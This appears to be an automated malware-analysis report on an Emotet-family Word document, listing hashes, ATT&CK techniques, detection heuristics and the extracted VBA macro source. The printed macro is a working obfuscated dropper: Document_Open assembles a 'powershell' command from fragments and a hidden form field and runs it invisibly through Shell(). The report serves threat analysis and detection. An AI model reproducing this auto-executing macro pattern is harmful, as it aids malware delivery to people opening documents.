Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 c390cfefc5d766c6…

MALICIOUS

Office (OLE)

265.5 KB Created: 2019-02-01 20:51:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 47b63ab54cd9a8a9ff43d1c6470d881b SHA-1: 174e0d9d0d60c7d69a1afff76dd8cc7e4bbcfe7f SHA-256: c390cfefc5d766c6617fb8903c07ff346cb72065f5ee92b44e5ee3cdd98cd37b
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function to execute arbitrary code. ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-6872602-0', strongly suggesting the Emotet family. The primary function of the VBA script appears to be downloading and executing a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6872602-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6872602-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2018 bytes
SHA-256: 87e54f2183351477833a849659fa7d13aaea7d72b26790f6486d28a36be61931
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()


Dim sX7Db As Byte
sX7Db = 68
Dim Oqkljz8 As Long
Oqkljz8 = -506810426
Dim EgcF76fX As Integer
EgcF76fX = Sgn(24707)
love "o"
End Sub

Attribute VB_Name = "T0hAE9Cp"
Sub love(XIZRN)
Dim yLNOHGsp As Boolean
yLNOHGsp = False
Dim yR9pDn As Long
yR9pDn = 0
Dim HMhDJ02z As Double
HMhDJ02z = Int(57979.927120303)
IjQZIDA = 427 - 32
b7xDS = 8071 / 1153
If IjQZIDA = b7xDS Then
qufEs = "mRzYM"
End If
Dim EgPDd As Long
EgPDd = Sgn(-1515376158)
Dim rJVAcRmG As Long
rJVAcRmG = Sgn(-660417358)
Dim nS7wqDu As Integer
nS7wqDu = Sgn(10505)
zWuhs5w = "sidBpVJryAp2tnVA3MSeta"
KFWwgNx = -12833 + 12835
WOtNF = Mid(zWuhs5w, KFWwgNx, -2106 + 2113)
Dim EoUrw As Double
EoUrw = Val(36799.05421626)
qHRos = "w"
Dim SEH6T As Single
SEH6T = Fix(54947.565502126)
Dim aKts9 As Byte
aKts9 = 52
Call Shell(eciGZRmv(1) & XIZRN & qHRos & wtOCSshaV, 0)
End Sub

Attribute VB_Name = "wIS4PAO8m"
Public Function eciGZRmv(kItPczE As Integer)
Dim MFgSwWDo As Single
MFgSwWDo = Fix(2358.4007991678)
Dim bXwdb5r2N As Long
bXwdb5r2N = Sgn(0)
Dim uBbrn3Gz As Double
uBbrn3Gz = 56124.934043335
eciGZRmv = "p"
End Function

Attribute VB_Name = "RejH9yKR"
Public Function wtOCSshaV()
Dim sWUiY50Z3 As Object
Set sWUiY50Z3 = New f
Dim RzMbp As Boolean
RzMbp = True
Dim rZI8dH71 As String
rZI8dH71 = sWUiY50Z3.de.Text
wtOCSshaV = rZI8dH71
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{55504F83-BCF5-4441-B41D-20129D2AB63D}{81C22A0C-D8A2-425C-ABA1-F13D4570EC2B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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